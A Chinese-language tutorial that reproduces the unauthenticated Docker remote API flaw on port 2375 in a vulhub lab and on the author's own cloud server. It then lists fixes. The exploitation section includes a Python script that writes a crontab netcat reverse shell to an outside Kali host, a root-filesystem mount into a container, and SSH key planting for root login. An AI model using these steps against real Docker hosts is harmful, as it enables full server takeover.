Docker API未授权漏洞复现

简介: Docker API未授权漏洞复现

01 漏洞成因


如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制的话,攻击者就可以通过Docker未授权来控制服务器


02 漏洞搭建

在这里使用vulhub直接进行复现


docker-compose build


docker-compose up -d


漏洞搭建完成


03  漏洞检测


可以使用命令行验证当前的漏洞是否存在



docker  -H tcp://*.*.*.*:2375 images



或者

来证明存在漏洞

http://127.0.0.1:2375/version





http://127.0.0.1:2375/info





04  漏洞利用


因为主机是mac,然后在里面启用了一个docker,然后再里面又启用了一个docker,所以这里是无法使用替换密钥的方法来登陆第二层docker的


所以在这里直接使用脚本利用计划任务来反弹shell

这里尝试一个反弹shell的操作:

其中10.211.55.23是Kali的ip地址

10.211.55.2是docekr的未授权端口


import docker
client = docker.DockerClient(base_url='http://10.211.55.2:2375/')print(client)data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 10.211.55.23 6666  -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

这里将shell弹到kali上

当这个脚本在mac上执行完成之后,大概需要很长的时间会返回一个shell回来



05  实战


这里来模拟测试开启Docker API未授权之后,使用密钥登陆受害者机器


5.1 配置Docker支持远程访问


在这里使用我自己的阿里云主机进行测试


首先要配置docker支持远程访问

进行文件备份


cp /lib/systemd/system/docker.service /lib/systemd/system/docker.service.bak

然后编辑


vim /lib/systemd/system/docker.service


在文件的末尾增加以下代码




[Service]ExecStart=ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock



保存并退出编辑后,重载守护进程以及重启Docker:


sudo systemctl daemon-reload
sudo service docker restart


通过执行命令查看是否开放了远程访问端口:



systemctl status docker.service





在这里还可以输入docker info 查看



5.2 写入密钥


以下我将vps地址用127.0.0.1进行了替换


在本地执行命令:

查看远程vps的镜像


docker -H tcp://127.0.0.1:2375 images



这时候发现并没有运行的容器,那么来测试下

查看远程vps是否运行了容器

docker -H tcp://127.0.0.1:2375 ps



在这里拉取一个镜像文件busybox

因为这个镜像很小,但是命令很全


docker -H tcp://127.0.0.1:2375 pull busybox




然后运行该镜像



docker -H tcp://127.0.0.1:2375 run -it -v /:/mnt 69593048aa3a /bin/bash


69593048aa3aImage ID

 

这条命令的意思是启动一个image ID 为69593048aa3a的容器,并且将该宿主机的根目录挂在到容器的/mnt目录下

启动之后就会获得该容器宿主机的shell






然后直接cd mnt/root/


看到了我的服务器上的root下的文件


cd .ssh




在这里要将服务器里面的authorized_keys文件进行备份,一定要记住!!!




在本地生成一个公私钥,这里以Mac环境为例

在桌面新建了一个ssh的文件夹,将生成的公钥保存在里面

注意在生成的密钥要保存的位置我这里是自定义的,如果不是自定义的话,可以一路回车,自定义的话,第一个要写文件路径,后面的也可以一路回车,然后在.ssh路径下获取文件(非自定义路径保存)


生成:ssh-keygen -t rsa


看下生成的文件,有两个

id_rsa      id_rsa.pub



再回到远程主机上来

使用echo指令将公钥写进去


直接远程连接

ssh -i id_rsa root@127.0.0.1



登陆成功。


5.3 关闭Docker API未授权


将我们的authorized_keys文件删除,将原来的文件复位


rm authorized_keysmv authorized_keys.bak authorized_keys

然后再去处理配置文件


 rm  /lib/systemd/system/docker.service
 # 将备份文件重命名
mv /lib/systemd/system/docker.service.bak   /lib/systemd/system/docker.service
# 重载重启操作
systemctl daemon-reload
service docker restart




然后再用docker info看下

警告信息没了


再试试连接下



可以了



06  修复方法


  1. 设置ACL,只允许信任的IP端口连接对应端口
  2. 开启TLS,使用生成的证书进行认证


相关文章
|
7月前
|
数据可视化 Linux API
如何在Linux使用docker部署Swagger Editor并实现无公网IP远程协同编辑API文档
如何在Linux使用docker部署Swagger Editor并实现无公网IP远程协同编辑API文档
|
7月前
|
数据可视化 Linux API
使用Docker安装部署Swagger Editor并远程访问编辑API文档
使用Docker安装部署Swagger Editor并远程访问编辑API文档
132 0
|
安全 Java API
解决 Swagger API 未授权访问漏洞:完善分析与解决方案
Swagger 是一个用于设计、构建、文档化和使用 RESTful 风格的 Web 服务的开源软件框架。它通过提供一个交互式文档页面,让开发者可以更方便地查看和测试 API 接口。然而,在一些情况下,未经授权的访问可能会导致安全漏洞。本文将介绍如何解决 Swagger API 未授权访问漏洞问题。
|
2月前
|
监控 安全 API
Docker + .NET API:简化部署和扩展
Docker + .NET API:简化部署和扩展
39 0
|
2月前
|
监控 安全 API
最完美的扩展Docker + .NET API:简化部署和扩展
最完美的扩展Docker + .NET API:简化部署和扩展
87 0
|
3月前
|
SQL 安全 数据库
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
481 1
|
5月前
|
应用服务中间件 API 数据库
Docker 安装 KONG 带你玩转 API 网关
**摘要:** 在微服务架构中,API网关Kong作为流行开源选择,提供身份验证、安全和流量控制等功能。通过Docker部署Kong简单高效。步骤包括:创建Docker网络,部署PostgreSQL数据库,初始化Kong数据库,启动Kong容器,并检查运行状态。此外,安装Konga管理界面便于直观管理Kong。使用Docker命令行,逐步设置环境变量和网络连接,即可完成安装。当不再需要时,可清理相关容器和网络。Kong结合Konga,为API管理提供强大且用户友好的解决方案。
308 1
|
6月前
|
Kubernetes 安全 Cloud Native
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行
云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行
145 3
|
6月前
|
机器人 开发工具 计算机视觉
基于 docker 环境的 LET-VINS 复现
该文介绍了在Docker环境下实践LET-NET的步骤。从GitHub克隆LET-NET代码,使用Docker运行vins-mono环境。安装ncnn,配置代理,更新源,安装依赖并验证安装成功。在运行LET-NET时遇到opencv版本不兼容,指出怎么安装指定版本的 opencv。解决Docker容器中的显示问题,通过`xhost +`命令运行LET-NET。在ROS中构建VINS-Mono时,cv_bridge找不到的问题,通过安装cv_bridge,设置ROS环境和工作空间,以及解决ncnn的配置问题,最终成功运行VINS-Mono。还需要下载UMA-VI数据集并修改相关路径以运行演示。
|
6月前
|
网络协议 Linux Shell
【权限提升】Linux系统&Docker挂载&Rsync未授权&Sudo-CVE&Polkit-CVE
【权限提升】Linux系统&Docker挂载&Rsync未授权&Sudo-CVE&Polkit-CVE